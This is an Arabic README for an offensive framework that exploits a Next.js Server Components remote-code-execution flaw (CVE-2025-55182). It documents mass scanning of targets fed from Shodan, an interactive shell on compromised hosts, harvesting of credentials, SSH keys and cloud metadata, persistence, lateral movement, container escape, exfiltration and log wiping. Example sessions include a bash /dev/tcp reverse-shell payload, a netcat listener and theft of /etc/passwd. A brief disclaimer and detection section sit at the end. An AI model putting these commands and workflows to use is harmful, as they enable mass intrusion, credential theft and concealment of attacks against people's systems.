🚀 R2S - إطار استغلال مكونات Next.js RSC

📋 نظرة عامة

R2S هو إطار استغلال واستغلال ما بعد الاختراق شامل يستهدف ثغرة مكونات React Server Components في Next.js (CVE-2025-55182). يوفر شفرة تفاعلية بميزات متقدمة لاختبار الاختراق، بما في ذلك نقل الملفات، التثبيت، التعداد، فحوصات رفع الامتيازات، والمزيد.

🎯 القدرات الرئيسية

• ✅ فحص الثغرات آليًا - فحص جماعي لعدة أهداف
• ✅ شفرة تفاعلية لـ RCE - تنفيذ أوامر مع الحفاظ على حالة الدليل
• ✅ نقل ملفات عبر HTTP - رفع/تنزيل ملفات دون قيود base64
• ✅ أتمتة الشل العكسي - تجربة أكثر من 25 حمولة شل عكسي
• ✅ تعداد متقدم - النظام، الشبكة، الحاويات، والبيانات الوصفية السحابية
• ✅ رفع الامتيازات - كشف تلقائي لنواقل رفع الامتيازات
• ✅ جمع بيانات الاعتماد - استخراج كلمات المرور والمفاتيح والرموز والأسرار
• ✅ آليات التثبيت - الحفاظ على الوصول عبر عمليات إعادة التشغيل
• ✅ الحركة الجانبية - اكتشاف والتنقل إلى مضيفين آخرين
• ✅ الهروب من الحاويات - فحص نواقل الهروب من Docker/Kubernetes
• ✅ استخراج البيانات - استخراج الملفات الحساسة والإعدادات
• ✅ عمليات التخفي - مسح السجلات وإخفاء الآثار

🔥 الميزات

🌐 الاستغلال الأساسي

• فحص جماعي مع دعم تعدد الخيوط
• وضع الأنابيب للتكامل مع الأدوات الأخرى
• كشف آلي للثغرات في Next.js RSC
• شفرة تفاعلية مع الحفاظ على الحالة مع دليل عمل دائم

📁 عمليات الملفات

• رفع عبر HTTP - نقل الملفات إلى الهدف عبر wget/curl
• تنزيل عبر HTTP - استخراج الملفات عبر طلبات POST
• بدون قيود حجم - يعمل مع الملفات الكبيرة (على عكس طرق base64)
• خادم HTTP تلقائي - بدء/إيقاف حسب الحاجة

🔍 الاستطلاع والتعداد

• تعداد النظام - نظام التشغيل، النواة، المستخدمين، العمليات
• اكتشاف الشبكة - الواجهات، المسارات، ARP، DNS، المنافذ المستمعة
• كشف الحاويات - التعرف على Docker وKubernetes وLXC
• البيانات الوصفية السحابية - استخراج بيانات الاعتماد من AWS وGCP وAzure
• تفريغ ذاكرة العمليات - استخراج الأسرار من العمليات الجارية
• اكتشاف الملفات المهمة - SUID، الدلائل القابلة للكتابة، النسخ الاحتياطية، الإعدادات

🔐 جمع بيانات الاعتماد

• متغيرات البيئة (كلمات المرور، مفاتيح API، الرموز)
• ملفات .env وملفات الإعدادات
• مفاتيح SSH الخاصة وملفات authorized_keys
• سجل bash مع الأوامر الحساسة
• ملفات قواعد البيانات (SQLite، تفريغ MySQL)
• بيانات الاعتماد السحابية (AWS، Azure، GCP)
• بيانات اعتماد Git ورموز NPM
• بيانات المتصفح (الكوكيز، بيانات تسجيل الدخول)
• أسرار Docker وKubernetes

⬆️ رفع الامتيازات

• كشف SUID/SGID للثنائيات
• تعداد أذونات sudo
• ملفات النظام القابلة للكتابة (/etc/passwd، /etc/shadow)
• فحوصات الوصول لمقبس Docker
• تحليل قدرات Linux
• اقتراحات استغلال النواة
• تعداد مهام cron
• فرص اختطاف PATH

🔄 استغلال ما بعد الاختراق

• آليات التثبيت - مهام cron، .bashrc، خدمات systemd
• تثبيت متقدم - LD_PRELOAD، مؤقتات systemd
• فحص المنافذ - استكشاف الشبكة الداخلية
• الحركة الجانبية - اكتشاف مفاتيح SSH، تحليل known_hosts
• الهروب من الحاويات - فحص الحاويات المميزة، تحليل القدرات
• استخراج البيانات - جمع تلقائي للبيانات الحساسة
• أتمتة الشل العكسي - أكثر من 25 نوع حمولة مع إعادة المحاولة التلقائية

🥷 التخفي والتهرب

• مسح السجلات - سجل bash، سجلات التوثيق، syslog
• إخفاء الآثار - تنظيف wtmp وlastlog
• إدارة الجلسات - حفظ واستئناف الجلسات

🛠️ التثبيت

المتطلبات الأساسية

# Python 3.6 أو أعلى
python3 --version

# تثبيت التبعيات
pip3 install requests urllib3

البداية السريعة

# استنساخ أو تنزيل الأداة
cd r2s-main

# جعله قابلًا للتنفيذ (اختياري)
chmod +x r2s_enhanced.py

# تشغيل الأداة
python3 r2s_enhanced.py -h

🚀 الاستخدام

الصيغة الأساسية

python3 r2s_enhanced.py [OPTIONS]

خيارات سطر الأوامر

طرق الإدخال

1. هدف واحد

python3 r2s_enhanced.py -u http://target.com

2. أهداف متعددة (ملف)

python3 r2s_enhanced.py -l targets.txt -t 50

3. وضع الأنابيب (stdin)

cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py

💻 أوامر الشفرة التفاعلية

بمجرد الوصول إلى RCE، ستدخل شفرة تفاعلية بهذه الأوامر:

📂 نقل الملفات

upload <local_file> <remote_path>    # رفع ملف إلى الهدف
download <remote_file> <local_path>  # تنزيل ملف من الهدف

🧭 التنقل

cd <directory>                       # تغيير دليل العمل
pwd                                  # طباعة دليل العمل

🔍 التعداد

enum                                 # تعداد النظام الكامل
privesc                              # فحوصات رفع الامتيازات
harvest                              # جمع بيانات الاعتماد
portscan <ip>                        # فحص منافذ الشبكة الداخلية
memdump [pid]                        # تفريغ ذاكرة العملية للأسرار

🎯 استغلال ما بعد الاختراق

lateral                              # فرص الحركة الجانبية
escape                               # نواقل الهروب من الحاويات
exfil [type]                         # استخراج البيانات (env/config/keys/db/logs/all)
reverse <lhost> <lport>              # تجربة حمولات شل عكسي متعددة

🔒 التثبيت

persist                              # إضافة تثبيت أساسي
advpersist                           # إضافة تثبيت متقدم

🥷 التخفي

stealth                              # مسح السجلات وإخفاء الآثار

💾 إدارة الجلسات

save                                 # حفظ الجلسة الحالية
help, ?                              # إظهار رسالة المساعدة
exit, quit                           # الخروج من الشفرة التفاعلية

🖥️ أوامر النظام

تنفيذ أي أمر شل مباشرة:

whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd

📚 أمثلة

مثال 1: استغلال أساسي

$ python3 r2s_enhanced.py -u http://vulnerable-app.com

    _   __          __  ____            
   / | / /__  _  __/ /_/ __ \________   
  /  |/ / _ \| |/_/ __/ /_/ / ___/ _ \  
 / /|  /  __/>  </_ _/ _, _/ /__/  __/  
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/   

   Next.js RSC Exploit Tool (CVE-2025-55182)
   Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)

   >> CREDIT( G4rxd )

[*] Loaded 1 targets. Starting scan with 30 threads...
[*] Payload Command: id

[VULN] http://vulnerable-app.com >>> RCE SUCCESS
       Output: uid=1000(node) gid=1000(node) groups=1000(node)

[+] Stateful Interactive RCE shell started. Type 'help' for commands.
[*] Advanced features: enum, privesc, persist, portscan, harvest, stealth
[*] New features: memdump, lateral, escape, exfil, advpersist, reverse

[+] HTTP server started on 192.168.1.100:8000

next-rce:/app$

مثال 2: تعداد النظام

next-rce:/app$ enum

[*] Starting automated enumeration...

============================================================
[*] System Info
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"

============================================================
[*] Current User
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)

============================================================
[*] Container Detection
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Docker container detected]

...

مثال 3: نقل الملفات

# رفع ملف
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Uploading /tmp/exploit.sh (2048 bytes) via HTTP...
[+] Upload successful!
    -rwxr-xr-x 1 node node 2048 Dec 12 03:28 /var/tmp/exploit.sh

# تنزيل ملف
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Downloading /etc/passwd via HTTP...
[+] Download successful! (1523 bytes)
    Saved to: ./passwd.txt

مثال 4: جمع بيانات الاعتماد

next-rce:/app$ harvest

[*] Harvesting credentials...

[*] Environment Variables:
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

[*] .env Files:
/app/.env
/app/.env.production
/var/www/.env.local

[*] SSH Keys:
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa

...

مثال 5: الشل العكسي

next-rce:/app$ reverse 192.168.1.100 4444

[*] Starting reverse shell attempts to 192.168.1.100:4444
[!] Make sure you have a listener running: nc -lvnp 4444

[*] Trying 25 different reverse shell payloads...

[1/25] Trying Bash TCP... ✓ Executed
[?] Did you receive a connection? (y/n/s to stop): y

[+] SUCCESS! Reverse shell established using: Bash TCP
[*] Payload: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

مثال 6: الفحص الجماعي

$ cat targets.txt
http://app1.example.com
http://app2.example.com
http://app3.example.com

$ python3 r2s_enhanced.py -l targets.txt -t 50

[*] Loaded 3 targets. Starting scan with 50 threads...

[VULN] http://app1.example.com >>> RCE SUCCESS
[VULN] http://app3.example.com >>> RCE SUCCESS

[*] Scan completed.

مثال 7: فحص رفع الامتيازات

next-rce:/app$ privesc

[*] Checking privilege escalation vectors...

[*] SUID Binaries:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

[*] Sudo Permissions:
User node may run the following commands:
    (ALL : ALL) NOPASSWD: /usr/bin/docker

[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock

[*] Docker Group:
In docker group - EXPLOITABLE!

...

مثال 8: الهروب من الحاويات

next-rce:/app$ escape

[*] Checking container escape vectors...

[*] Container Type:
12:devices:/docker/a1b2c3d4e5f6

[*] Privileged Container:
PRIVILEGED

[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock

[*] Capabilities:
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Full capabilities - container is privileged]

...

🔧 الميزات المتقدمة

حمولات الشل العكسي

تتضمن الأداة أكثر من 25 حمولة شل عكسي عبر لغات وتقنيات متعددة:

• Bash (TCP، UDP، متغيرات exec)
• Netcat (تقليدي، mkfifo، OpenBSD)
• Python/Python3 (socket، pty)
• Perl (متغيرات متعددة)
• PHP (exec، system، passthru)
• Ruby (متغيرات socket)
• Node.js (child_process، socket)
• Socat، Telnet، AWK
• Golang، OpenSSL

استخراج البيانات الوصفية السحابية

يكشف تلقائيًا ويستخرج بيانات الاعتماد من:

• AWS - أدوار IAM، بيانات الاعتماد الأمنية
• GCP - رموز حسابات الخدمة
• Azure - بيانات وصفية للمثيل
• متغيرات البيئة مع بيانات الاعتماد السحابية

كشف الحاويات

يحدد ويحلل:

• حاويات Docker
• مجمعات Kubernetes
• حاويات LXC
• مميزة مقابل غير مميزة
• نواقل الهروب المتاحة

⚠️ إخلاء المسؤولية القانوني

للاستخدام التعليمي والاختبار المصرح به فقط

هذه الأداة مقدمة للأغراض التعليمية واختبار الاختراق المصرح به فقط. استخدام هذه الأداة لمهاجمة أهداف دون موافقة مسبقة متبادلة غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.

متطلبات الاستخدام القانوني:

• ✅ تفويض كتابي من مالك الهدف
• ✅ نطاق وقواعد اشتراك محددة
• ✅ مشاركة اختبار اختراق مهنية
• ❌ الوصول غير المصرح به إلى الأنظمة
• ❌ نية ضارة أو إلحاق ضرر

🛡️ الكشف والدفاع

للمدافعين

الكشف:

• مراقبة رؤوس Next-Action غير المعتادة
• البحث عن طلبات POST متعددة الأجزاء/بيانات النموذج إلى نقاط نهاية غير موجودة
• التحقق من إخراج الأوامر المشفر بـ base64 في استجابات الأخطاء
• مراقبة child_process.execSync في سجلات Next.js

التخفيف:

• تحديث Next.js إلى أحدث إصدار مصحح
• تنفيذ قواعد جدار حماية تطبيقات الويب (WAF)
• تقييد تنفيذ التعليمات البرمجية من جانب الخادم
• مراقبة وتسجيل جميع طلبات RSC
• تنفيذ التحقق من صحة الإدخال بشكل مناسب

📊 تاريخ الإصدارات

v4.1.0 (الحالي) - الإصدار المحسّن

• ✅ إضافة أتمتة الشل العكسي (أكثر من 25 حمولة)
• ✅ إضافة قدرات تفريغ الذاكرة
• ✅ إضافة اكتشاف الحركة الجانبية
• ✅ إضافة فحوصات الهروب من الحاويات
• ✅ إضافة أتمتة استخراج البيانات
• ✅ إضافة آليات تثبيت متقدمة
• ✅ تحسين نقل الملفات عبر HTTP
• ✅ تحسين ميزات التعداد
• ✅ تحسين التعامل مع الأخطاء وتجربة المستخدم

v4.0.0 - إطار استغلال ما بعد الاختراق

• ✅ نقل الملفات عبر HTTP
• ✅ آليات التثبيت
• ✅ فاحص المنافذ
• ✅ فحوصات رفع الامتيازات
• ✅ تعداد الشبكة
• ✅ جمع بيانات الاعتماد
• ✅ إدارة الجلسات
• ✅ تعداد تلقائي
• ✅ ميزات التخفي

v3.0.0 - الشفرة التفاعلية

• شفرة مع الحفاظ على الحالة مع التنقل بين الدلائل
• نقل ملفات أساسي (base64)
• تحسين معالجة الأخطاء

🤝 المساهمة

المساهمات مرحب بها! يرجى التأكد من أن جميع المساهمات للأغراض التعليمية والدفاعية الأمنية.

👨‍💻 المؤلف

G4rxd

🙏 الشكر والتقدير

• فريق اكتشاف CVE-2025-55182
• مجتمع أبحاث أمان Next.js
• مجتمع أدوات الأمان مفتوحة المصدر

📄 الترخيص

هذا المشروع مرخص للاستخدام التعليمي والاختبار المصرح به فقط.